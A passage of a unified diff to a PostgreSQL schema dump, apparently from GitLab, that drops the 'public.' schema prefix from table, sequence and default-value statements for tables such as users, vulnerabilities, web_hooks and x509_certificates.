-ALTER SEQUENCE public.user_preferences_id_seq OWNED BY public.user_preferences.id;
+ALTER SEQUENCE user_preferences_id_seq OWNED BY user_preferences.id;
-CREATE TABLE public.user_statuses (
+CREATE TABLE user_statuses (
user_id integer NOT NULL,
cached_markdown_version integer,
emoji character varying DEFAULT 'speech_balloon'::character varying NOT NULL,
@@ -16060,16 +16374,16 @@ CREATE TABLE public.user_statuses (
message_html character varying
);
-CREATE SEQUENCE public.user_statuses_user_id_seq
+CREATE SEQUENCE user_statuses_user_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.user_statuses_user_id_seq OWNED BY public.user_statuses.user_id;
+ALTER SEQUENCE user_statuses_user_id_seq OWNED BY user_statuses.user_id;
-CREATE TABLE public.user_synced_attributes_metadata (
+CREATE TABLE user_synced_attributes_metadata (
id integer NOT NULL,
name_synced boolean DEFAULT false,
email_synced boolean DEFAULT false,
@@ -16078,16 +16392,16 @@ CREATE TABLE public.user_synced_attributes_metadata (
provider character varying
);
-CREATE SEQUENCE public.user_synced_attributes_metadata_id_seq
+CREATE SEQUENCE user_synced_attributes_metadata_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.user_synced_attributes_metadata_id_seq OWNED BY public.user_synced_attributes_metadata.id;
+ALTER SEQUENCE user_synced_attributes_metadata_id_seq OWNED BY user_synced_attributes_metadata.id;
-CREATE TABLE public.users (
+CREATE TABLE users (
id integer NOT NULL,
email character varying DEFAULT ''::character varying NOT NULL,
encrypted_password character varying DEFAULT ''::character varying NOT NULL,
@@ -16107,7 +16421,6 @@ CREATE TABLE public.users (
skype character varying DEFAULT ''::character varying NOT NULL,
linkedin character varying DEFAULT ''::character varying NOT NULL,
twitter character varying DEFAULT ''::character varying NOT NULL,
- bio character varying,
failed_attempts integer DEFAULT 0,
locked_at timestamp without time zone,
username character varying,
@@ -16173,16 +16486,16 @@ CREATE TABLE public.users (
user_type smallint
);
-CREATE SEQUENCE public.users_id_seq
+CREATE SEQUENCE users_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.users_id_seq OWNED BY public.users.id;
+ALTER SEQUENCE users_id_seq OWNED BY users.id;
-CREATE TABLE public.users_ops_dashboard_projects (
+CREATE TABLE users_ops_dashboard_projects (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16190,21 +16503,21 @@ CREATE TABLE public.users_ops_dashboard_projects (
project_id integer NOT NULL
);
-CREATE SEQUENCE public.users_ops_dashboard_projects_id_seq
+CREATE SEQUENCE users_ops_dashboard_projects_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.users_ops_dashboard_projects_id_seq OWNED BY public.users_ops_dashboard_projects.id;
+ALTER SEQUENCE users_ops_dashboard_projects_id_seq OWNED BY users_ops_dashboard_projects.id;
-CREATE TABLE public.users_security_dashboard_projects (
+CREATE TABLE users_security_dashboard_projects (
user_id bigint NOT NULL,
project_id bigint NOT NULL
);
-CREATE TABLE public.users_star_projects (
+CREATE TABLE users_star_projects (
id integer NOT NULL,
project_id integer NOT NULL,
user_id integer NOT NULL,
@@ -16212,16 +16525,16 @@ CREATE TABLE public.users_star_projects (
updated_at timestamp without time zone
);
-CREATE SEQUENCE public.users_star_projects_id_seq
+CREATE SEQUENCE users_star_projects_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.users_star_projects_id_seq OWNED BY public.users_star_projects.id;
+ALTER SEQUENCE users_star_projects_id_seq OWNED BY users_star_projects.id;
-CREATE TABLE public.users_statistics (
+CREATE TABLE users_statistics (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16235,16 +16548,16 @@ CREATE TABLE public.users_statistics (
blocked integer DEFAULT 0 NOT NULL
);
-CREATE SEQUENCE public.users_statistics_id_seq
+CREATE SEQUENCE users_statistics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.users_statistics_id_seq OWNED BY public.users_statistics.id;
+ALTER SEQUENCE users_statistics_id_seq OWNED BY users_statistics.id;
-CREATE TABLE public.vulnerabilities (
+CREATE TABLE vulnerabilities (
id bigint NOT NULL,
milestone_id bigint,
epic_id bigint,
@@ -16279,16 +16592,16 @@ CREATE TABLE public.vulnerabilities (
resolved_on_default_branch boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.vulnerabilities_id_seq
+CREATE SEQUENCE vulnerabilities_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerabilities_id_seq OWNED BY public.vulnerabilities.id;
+ALTER SEQUENCE vulnerabilities_id_seq OWNED BY vulnerabilities.id;
-CREATE TABLE public.vulnerability_exports (
+CREATE TABLE vulnerability_exports (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16303,16 +16616,16 @@ CREATE TABLE public.vulnerability_exports (
group_id integer
);
-CREATE SEQUENCE public.vulnerability_exports_id_seq
+CREATE SEQUENCE vulnerability_exports_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerability_exports_id_seq OWNED BY public.vulnerability_exports.id;
+ALTER SEQUENCE vulnerability_exports_id_seq OWNED BY vulnerability_exports.id;
-CREATE TABLE public.vulnerability_feedback (
+CREATE TABLE vulnerability_feedback (
id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16329,16 +16642,16 @@ CREATE TABLE public.vulnerability_feedback (
comment_timestamp timestamp with time zone
);
-CREATE SEQUENCE public.vulnerability_feedback_id_seq
+CREATE SEQUENCE vulnerability_feedback_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerability_feedback_id_seq OWNED BY public.vulnerability_feedback.id;
+ALTER SEQUENCE vulnerability_feedback_id_seq OWNED BY vulnerability_feedback.id;
-CREATE TABLE public.vulnerability_historical_statistics (
+CREATE TABLE vulnerability_historical_statistics (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16354,16 +16667,16 @@ CREATE TABLE public.vulnerability_historical_statistics (
letter_grade smallint NOT NULL
);
-CREATE SEQUENCE public.vulnerability_historical_statistics_id_seq
+CREATE SEQUENCE vulnerability_historical_statistics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerability_historical_statistics_id_seq OWNED BY public.vulnerability_historical_statistics.id;
+ALTER SEQUENCE vulnerability_historical_statistics_id_seq OWNED BY vulnerability_historical_statistics.id;
-CREATE TABLE public.vulnerability_identifiers (
+CREATE TABLE vulnerability_identifiers (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16375,16 +16688,16 @@ CREATE TABLE public.vulnerability_identifiers (
url text
);
-CREATE SEQUENCE public.vulnerability_identifiers_id_seq
+CREATE SEQUENCE vulnerability_identifiers_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerability_identifiers_id_seq OWNED BY public.vulnerability_identifiers.id;
+ALTER SEQUENCE vulnerability_identifiers_id_seq OWNED BY vulnerability_identifiers.id;
-CREATE TABLE public.vulnerability_issue_links (
+CREATE TABLE vulnerability_issue_links (
id bigint NOT NULL,
vulnerability_id bigint NOT NULL,
issue_id bigint NOT NULL,
@@ -16393,16 +16706,16 @@ CREATE TABLE public.vulnerability_issue_links (
updated_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.vulnerability_issue_links_id_seq
+CREATE SEQUENCE vulnerability_issue_links_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerability_issue_links_id_seq OWNED BY public.vulnerability_issue_links.id;
+ALTER SEQUENCE vulnerability_issue_links_id_seq OWNED BY vulnerability_issue_links.id;
-CREATE TABLE public.vulnerability_occurrence_identifiers (
+CREATE TABLE vulnerability_occurrence_identifiers (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16410,16 +16723,16 @@ CREATE TABLE public.vulnerability_occurrence_identifiers (
identifier_id bigint NOT NULL
);
-CREATE SEQUENCE public.vulnerability_occurrence_identifiers_id_seq
+CREATE SEQUENCE vulnerability_occurrence_identifiers_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerability_occurrence_identifiers_id_seq OWNED BY public.vulnerability_occurrence_identifiers.id;
+ALTER SEQUENCE vulnerability_occurrence_identifiers_id_seq OWNED BY vulnerability_occurrence_identifiers.id;
-CREATE TABLE public.vulnerability_occurrence_pipelines (
+CREATE TABLE vulnerability_occurrence_pipelines (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16427,16 +16740,16 @@ CREATE TABLE public.vulnerability_occurrence_pipelines (
pipeline_id integer NOT NULL
);
-CREATE SEQUENCE public.vulnerability_occurrence_pipelines_id_seq
+CREATE SEQUENCE vulnerability_occurrence_pipelines_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerability_occurrence_pipelines_id_seq OWNED BY public.vulnerability_occurrence_pipelines.id;
+ALTER SEQUENCE vulnerability_occurrence_pipelines_id_seq OWNED BY vulnerability_occurrence_pipelines.id;
-CREATE TABLE public.vulnerability_occurrences (
+CREATE TABLE vulnerability_occurrences (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16455,16 +16768,16 @@ CREATE TABLE public.vulnerability_occurrences (
vulnerability_id bigint
);
-CREATE SEQUENCE public.vulnerability_occurrences_id_seq
+CREATE SEQUENCE vulnerability_occurrences_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerability_occurrences_id_seq OWNED BY public.vulnerability_occurrences.id;
+ALTER SEQUENCE vulnerability_occurrences_id_seq OWNED BY vulnerability_occurrences.id;
-CREATE TABLE public.vulnerability_scanners (
+CREATE TABLE vulnerability_scanners (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16474,16 +16787,16 @@ CREATE TABLE public.vulnerability_scanners (
vendor text DEFAULT 'GitLab'::text NOT NULL
);
-CREATE SEQUENCE public.vulnerability_scanners_id_seq
+CREATE SEQUENCE vulnerability_scanners_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerability_scanners_id_seq OWNED BY public.vulnerability_scanners.id;
+ALTER SEQUENCE vulnerability_scanners_id_seq OWNED BY vulnerability_scanners.id;
-CREATE TABLE public.vulnerability_statistics (
+CREATE TABLE vulnerability_statistics (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16498,16 +16811,16 @@ CREATE TABLE public.vulnerability_statistics (
letter_grade smallint NOT NULL
);
-CREATE SEQUENCE public.vulnerability_statistics_id_seq
+CREATE SEQUENCE vulnerability_statistics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerability_statistics_id_seq OWNED BY public.vulnerability_statistics.id;
+ALTER SEQUENCE vulnerability_statistics_id_seq OWNED BY vulnerability_statistics.id;
-CREATE TABLE public.vulnerability_user_mentions (
+CREATE TABLE vulnerability_user_mentions (
id bigint NOT NULL,
vulnerability_id bigint NOT NULL,
note_id integer,
@@ -16516,16 +16829,16 @@ CREATE TABLE public.vulnerability_user_mentions (
mentioned_groups_ids integer[]
);
-CREATE SEQUENCE public.vulnerability_user_mentions_id_seq
+CREATE SEQUENCE vulnerability_user_mentions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.vulnerability_user_mentions_id_seq OWNED BY public.vulnerability_user_mentions.id;
+ALTER SEQUENCE vulnerability_user_mentions_id_seq OWNED BY vulnerability_user_mentions.id;
-CREATE TABLE public.web_hook_logs (
+CREATE TABLE web_hook_logs (
id integer NOT NULL,
web_hook_id integer NOT NULL,
trigger character varying,
@@ -16541,16 +16854,16 @@ CREATE TABLE public.web_hook_logs (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.web_hook_logs_id_seq
+CREATE SEQUENCE web_hook_logs_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.web_hook_logs_id_seq OWNED BY public.web_hook_logs.id;
+ALTER SEQUENCE web_hook_logs_id_seq OWNED BY web_hook_logs.id;
-CREATE TABLE public.web_hooks (
+CREATE TABLE web_hooks (
id integer NOT NULL,
project_id integer,
created_at timestamp without time zone,
@@ -16578,16 +16891,16 @@ CREATE TABLE public.web_hooks (
deployment_events boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.web_hooks_id_seq
+CREATE SEQUENCE web_hooks_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.web_hooks_id_seq OWNED BY public.web_hooks.id;
+ALTER SEQUENCE web_hooks_id_seq OWNED BY web_hooks.id;
-CREATE TABLE public.webauthn_registrations (
+CREATE TABLE webauthn_registrations (
id bigint NOT NULL,
user_id bigint NOT NULL,
counter bigint DEFAULT 0 NOT NULL,
@@ -16600,16 +16913,16 @@ CREATE TABLE public.webauthn_registrations (
CONSTRAINT check_2f02e74321 CHECK ((char_length(name) <= 255))
);
-CREATE SEQUENCE public.webauthn_registrations_id_seq
+CREATE SEQUENCE webauthn_registrations_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.webauthn_registrations_id_seq OWNED BY public.webauthn_registrations.id;
+ALTER SEQUENCE webauthn_registrations_id_seq OWNED BY webauthn_registrations.id;
-CREATE TABLE public.wiki_page_meta (
+CREATE TABLE wiki_page_meta (
id integer NOT NULL,
project_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -16617,16 +16930,16 @@ CREATE TABLE public.wiki_page_meta (
title character varying(255) NOT NULL
);
-CREATE SEQUENCE public.wiki_page_meta_id_seq
+CREATE SEQUENCE wiki_page_meta_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.wiki_page_meta_id_seq OWNED BY public.wiki_page_meta.id;
+ALTER SEQUENCE wiki_page_meta_id_seq OWNED BY wiki_page_meta.id;
-CREATE TABLE public.wiki_page_slugs (
+CREATE TABLE wiki_page_slugs (
id integer NOT NULL,
canonical boolean DEFAULT false NOT NULL,
wiki_page_meta_id bigint NOT NULL,
@@ -16635,16 +16948,16 @@ CREATE TABLE public.wiki_page_slugs (
slug character varying(2048) NOT NULL
);
-CREATE SEQUENCE public.wiki_page_slugs_id_seq
+CREATE SEQUENCE wiki_page_slugs_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.wiki_page_slugs_id_seq OWNED BY public.wiki_page_slugs.id;
+ALTER SEQUENCE wiki_page_slugs_id_seq OWNED BY wiki_page_slugs.id;
-CREATE TABLE public.x509_certificates (
+CREATE TABLE x509_certificates (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16656,16 +16969,16 @@ CREATE TABLE public.x509_certificates (
x509_issuer_id bigint NOT NULL
);
-CREATE SEQUENCE public.x509_certificates_id_seq
+CREATE SEQUENCE x509_certificates_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.x509_certificates_id_seq OWNED BY public.x509_certificates.id;
+ALTER SEQUENCE x509_certificates_id_seq OWNED BY x509_certificates.id;
-CREATE TABLE public.x509_commit_signatures (
+CREATE TABLE x509_commit_signatures (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16675,16 +16988,16 @@ CREATE TABLE public.x509_commit_signatures (
verification_status smallint DEFAULT 0 NOT NULL
);
-CREATE SEQUENCE public.x509_commit_signatures_id_seq
+CREATE SEQUENCE x509_commit_signatures_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.x509_commit_signatures_id_seq OWNED BY public.x509_commit_signatures.id;
+ALTER SEQUENCE x509_commit_signatures_id_seq OWNED BY x509_commit_signatures.id;
-CREATE TABLE public.x509_issuers (
+CREATE TABLE x509_issuers (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -16693,16 +17006,16 @@ CREATE TABLE public.x509_issuers (
crl_url character varying(255) NOT NULL
);
-CREATE SEQUENCE public.x509_issuers_id_seq
+CREATE SEQUENCE x509_issuers_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.x509_issuers_id_seq OWNED BY public.x509_issuers.id;
+ALTER SEQUENCE x509_issuers_id_seq OWNED BY x509_issuers.id;
-CREATE TABLE public.zoom_meetings (
+CREATE TABLE zoom_meetings (
id bigint NOT NULL,
project_id bigint NOT NULL,
issue_id bigint NOT NULL,
@@ -16712,702 +17025,730 @@ CREATE TABLE public.zoom_meetings (
url character varying(255)
);
-CREATE SEQUENCE public.zoom_meetings_id_seq
+CREATE SEQUENCE zoom_meetings_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.zoom_meetings_id_seq OWNED BY public.zoom_meetings.id;
+ALTER SEQUENCE zoom_meetings_id_seq OWNED BY zoom_meetings.id;
+
+ALTER TABLE ONLY abuse_reports ALTER COLUMN id SET DEFAULT nextval('abuse_reports_id_seq'::regclass);
+
+ALTER TABLE ONLY alert_management_alert_assignees ALTER COLUMN id SET DEFAULT nextval('alert_management_alert_assignees_id_seq'::regclass);
+
+ALTER TABLE ONLY alert_management_alert_user_mentions ALTER COLUMN id SET DEFAULT nextval('alert_management_alert_user_mentions_id_seq'::regclass);
+
+ALTER TABLE ONLY alert_management_alerts ALTER COLUMN id SET DEFAULT nextval('alert_management_alerts_id_seq'::regclass);
-ALTER TABLE ONLY public.abuse_reports ALTER COLUMN id SET DEFAULT nextval('public.abuse_reports_id_seq'::regclass);
+ALTER TABLE ONLY alerts_service_data ALTER COLUMN id SET DEFAULT nextval('alerts_service_data_id_seq'::regclass);
-ALTER TABLE ONLY public.alert_management_alert_assignees ALTER COLUMN id SET DEFAULT nextval('public.alert_management_alert_assignees_id_seq'::regclass);
+ALTER TABLE ONLY allowed_email_domains ALTER COLUMN id SET DEFAULT nextval('allowed_email_domains_id_seq'::regclass);
-ALTER TABLE ONLY public.alert_management_alert_user_mentions ALTER COLUMN id SET DEFAULT nextval('public.alert_management_alert_user_mentions_id_seq'::regclass);
+ALTER TABLE ONLY analytics_cycle_analytics_group_stages ALTER COLUMN id SET DEFAULT nextval('analytics_cycle_analytics_group_stages_id_seq'::regclass);
-ALTER TABLE ONLY public.alert_management_alerts ALTER COLUMN id SET DEFAULT nextval('public.alert_management_alerts_id_seq'::regclass);
+ALTER TABLE ONLY analytics_cycle_analytics_group_value_streams ALTER COLUMN id SET DEFAULT nextval('analytics_cycle_analytics_group_value_streams_id_seq'::regclass);
-ALTER TABLE ONLY public.alerts_service_data ALTER COLUMN id SET DEFAULT nextval('public.alerts_service_data_id_seq'::regclass);
+ALTER TABLE ONLY analytics_cycle_analytics_project_stages ALTER COLUMN id SET DEFAULT nextval('analytics_cycle_analytics_project_stages_id_seq'::regclass);
-ALTER TABLE ONLY public.allowed_email_domains ALTER COLUMN id SET DEFAULT nextval('public.allowed_email_domains_id_seq'::regclass);
+ALTER TABLE ONLY analytics_instance_statistics_measurements ALTER COLUMN id SET DEFAULT nextval('analytics_instance_statistics_measurements_id_seq'::regclass);
-ALTER TABLE ONLY public.analytics_cycle_analytics_group_stages ALTER COLUMN id SET DEFAULT nextval('public.analytics_cycle_analytics_group_stages_id_seq'::regclass);
+ALTER TABLE ONLY appearances ALTER COLUMN id SET DEFAULT nextval('appearances_id_seq'::regclass);
-ALTER TABLE ONLY public.analytics_cycle_analytics_group_value_streams ALTER COLUMN id SET DEFAULT nextval('public.analytics_cycle_analytics_group_value_streams_id_seq'::regclass);
+ALTER TABLE ONLY application_setting_terms ALTER COLUMN id SET DEFAULT nextval('application_setting_terms_id_seq'::regclass);
-ALTER TABLE ONLY public.analytics_cycle_analytics_project_stages ALTER COLUMN id SET DEFAULT nextval('public.analytics_cycle_analytics_project_stages_id_seq'::regclass);
+ALTER TABLE ONLY application_settings ALTER COLUMN id SET DEFAULT nextval('application_settings_id_seq'::regclass);
-ALTER TABLE ONLY public.appearances ALTER COLUMN id SET DEFAULT nextval('public.appearances_id_seq'::regclass);
+ALTER TABLE ONLY approval_merge_request_rule_sources ALTER COLUMN id SET DEFAULT nextval('approval_merge_request_rule_sources_id_seq'::regclass);
-ALTER TABLE ONLY public.application_setting_terms ALTER COLUMN id SET DEFAULT nextval('public.application_setting_terms_id_seq'::regclass);
+ALTER TABLE ONLY approval_merge_request_rules ALTER COLUMN id SET DEFAULT nextval('approval_merge_request_rules_id_seq'::regclass);
-ALTER TABLE ONLY public.application_settings ALTER COLUMN id SET DEFAULT nextval('public.application_settings_id_seq'::regclass);
+ALTER TABLE ONLY approval_merge_request_rules_approved_approvers ALTER COLUMN id SET DEFAULT nextval('approval_merge_request_rules_approved_approvers_id_seq'::regclass);
-ALTER TABLE ONLY public.approval_merge_request_rule_sources ALTER COLUMN id SET DEFAULT nextval('public.approval_merge_request_rule_sources_id_seq'::regclass);
+ALTER TABLE ONLY approval_merge_request_rules_groups ALTER COLUMN id SET DEFAULT nextval('approval_merge_request_rules_groups_id_seq'::regclass);
-ALTER TABLE ONLY public.approval_merge_request_rules ALTER COLUMN id SET DEFAULT nextval('public.approval_merge_request_rules_id_seq'::regclass);
+ALTER TABLE ONLY approval_merge_request_rules_users ALTER COLUMN id SET DEFAULT nextval('approval_merge_request_rules_users_id_seq'::regclass);
-ALTER TABLE ONLY public.approval_merge_request_rules_approved_approvers ALTER COLUMN id SET DEFAULT nextval('public.approval_merge_request_rules_approved_approvers_id_seq'::regclass);
+ALTER TABLE ONLY approval_project_rules ALTER COLUMN id SET DEFAULT nextval('approval_project_rules_id_seq'::regclass);
-ALTER TABLE ONLY public.approval_merge_request_rules_groups ALTER COLUMN id SET DEFAULT nextval('public.approval_merge_request_rules_groups_id_seq'::regclass);
+ALTER TABLE ONLY approval_project_rules_groups ALTER COLUMN id SET DEFAULT nextval('approval_project_rules_groups_id_seq'::regclass);
-ALTER TABLE ONLY public.approval_merge_request_rules_users ALTER COLUMN id SET DEFAULT nextval('public.approval_merge_request_rules_users_id_seq'::regclass);
+ALTER TABLE ONLY approval_project_rules_users ALTER COLUMN id SET DEFAULT nextval('approval_project_rules_users_id_seq'::regclass);
-ALTER TABLE ONLY public.approval_project_rules ALTER COLUMN id SET DEFAULT nextval('public.approval_project_rules_id_seq'::regclass);
+ALTER TABLE ONLY approvals ALTER COLUMN id SET DEFAULT nextval('approvals_id_seq'::regclass);
-ALTER TABLE ONLY public.approval_project_rules_groups ALTER COLUMN id SET DEFAULT nextval('public.approval_project_rules_groups_id_seq'::regclass);
+ALTER TABLE ONLY approver_groups ALTER COLUMN id SET DEFAULT nextval('approver_groups_id_seq'::regclass);
-ALTER TABLE ONLY public.approval_project_rules_users ALTER COLUMN id SET DEFAULT nextval('public.approval_project_rules_users_id_seq'::regclass);
+ALTER TABLE ONLY approvers ALTER COLUMN id SET DEFAULT nextval('approvers_id_seq'::regclass);
-ALTER TABLE ONLY public.approvals ALTER COLUMN id SET DEFAULT nextval('public.approvals_id_seq'::regclass);
+ALTER TABLE ONLY atlassian_identities ALTER COLUMN user_id SET DEFAULT nextval('atlassian_identities_user_id_seq'::regclass);
-ALTER TABLE ONLY public.approver_groups ALTER COLUMN id SET DEFAULT nextval('public.approver_groups_id_seq'::regclass);
+ALTER TABLE ONLY audit_events ALTER COLUMN id SET DEFAULT nextval('audit_events_id_seq'::regclass);
-ALTER TABLE ONLY public.approvers ALTER COLUMN id SET DEFAULT nextval('public.approvers_id_seq'::regclass);
+ALTER TABLE ONLY authentication_events ALTER COLUMN id SET DEFAULT nextval('authentication_events_id_seq'::regclass);
-ALTER TABLE ONLY public.audit_events ALTER COLUMN id SET DEFAULT nextval('public.audit_events_id_seq'::regclass);
+ALTER TABLE ONLY award_emoji ALTER COLUMN id SET DEFAULT nextval('award_emoji_id_seq'::regclass);
-ALTER TABLE ONLY public.award_emoji ALTER COLUMN id SET DEFAULT nextval('public.award_emoji_id_seq'::regclass);
+ALTER TABLE ONLY background_migration_jobs ALTER COLUMN id SET DEFAULT nextval('background_migration_jobs_id_seq'::regclass);
-ALTER TABLE ONLY public.background_migration_jobs ALTER COLUMN id SET DEFAULT nextval('public.background_migration_jobs_id_seq'::regclass);
+ALTER TABLE ONLY badges ALTER COLUMN id SET DEFAULT nextval('badges_id_seq'::regclass);
-ALTER TABLE ONLY public.badges ALTER COLUMN id SET DEFAULT nextval('public.badges_id_seq'::regclass);
+ALTER TABLE ONLY board_assignees ALTER COLUMN id SET DEFAULT nextval('board_assignees_id_seq'::regclass);
-ALTER TABLE ONLY public.board_assignees ALTER COLUMN id SET DEFAULT nextval('public.board_assignees_id_seq'::regclass);
+ALTER TABLE ONLY board_group_recent_visits ALTER COLUMN id SET DEFAULT nextval('board_group_recent_visits_id_seq'::regclass);
-ALTER TABLE ONLY public.board_group_recent_visits ALTER COLUMN id SET DEFAULT nextval('public.board_group_recent_visits_id_seq'::regclass);
+ALTER TABLE ONLY board_labels ALTER COLUMN id SET DEFAULT nextval('board_labels_id_seq'::regclass);
-ALTER TABLE ONLY public.board_labels ALTER COLUMN id SET DEFAULT nextval('public.board_labels_id_seq'::regclass);
+ALTER TABLE ONLY board_project_recent_visits ALTER COLUMN id SET DEFAULT nextval('board_project_recent_visits_id_seq'::regclass);
-ALTER TABLE ONLY public.board_project_recent_visits ALTER COLUMN id SET DEFAULT nextval('public.board_project_recent_visits_id_seq'::regclass);
+ALTER TABLE ONLY board_user_preferences ALTER COLUMN id SET DEFAULT nextval('board_user_preferences_id_seq'::regclass);
-ALTER TABLE ONLY public.board_user_preferences ALTER COLUMN id SET DEFAULT nextval('public.board_user_preferences_id_seq'::regclass);
+ALTER TABLE ONLY boards ALTER COLUMN id SET DEFAULT nextval('boards_id_seq'::regclass);
-ALTER TABLE ONLY public.boards ALTER COLUMN id SET DEFAULT nextval('public.boards_id_seq'::regclass);
+ALTER TABLE ONLY boards_epic_user_preferences ALTER COLUMN id SET DEFAULT nextval('boards_epic_user_preferences_id_seq'::regclass);
-ALTER TABLE ONLY public.broadcast_messages ALTER COLUMN id SET DEFAULT nextval('public.broadcast_messages_id_seq'::regclass);
+ALTER TABLE ONLY broadcast_messages ALTER COLUMN id SET DEFAULT nextval('broadcast_messages_id_seq'::regclass);
-ALTER TABLE ONLY public.chat_names ALTER COLUMN id SET DEFAULT nextval('public.chat_names_id_seq'::regclass);
+ALTER TABLE ONLY chat_names ALTER COLUMN id SET DEFAULT nextval('chat_names_id_seq'::regclass);
-ALTER TABLE ONLY public.chat_teams ALTER COLUMN id SET DEFAULT nextval('public.chat_teams_id_seq'::regclass);
+ALTER TABLE ONLY chat_teams ALTER COLUMN id SET DEFAULT nextval('chat_teams_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_build_needs ALTER COLUMN id SET DEFAULT nextval('public.ci_build_needs_id_seq'::regclass);
+ALTER TABLE ONLY ci_build_needs ALTER COLUMN id SET DEFAULT nextval('ci_build_needs_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_build_report_results ALTER COLUMN build_id SET DEFAULT nextval('public.ci_build_report_results_build_id_seq'::regclass);
+ALTER TABLE ONLY ci_build_pending_states ALTER COLUMN id SET DEFAULT nextval('ci_build_pending_states_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_build_trace_chunks ALTER COLUMN id SET DEFAULT nextval('public.ci_build_trace_chunks_id_seq'::regclass);
+ALTER TABLE ONLY ci_build_report_results ALTER COLUMN build_id SET DEFAULT nextval('ci_build_report_results_build_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_build_trace_section_names ALTER COLUMN id SET DEFAULT nextval('public.ci_build_trace_section_names_id_seq'::regclass);
+ALTER TABLE ONLY ci_build_trace_chunks ALTER COLUMN id SET DEFAULT nextval('ci_build_trace_chunks_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_builds ALTER COLUMN id SET DEFAULT nextval('public.ci_builds_id_seq'::regclass);
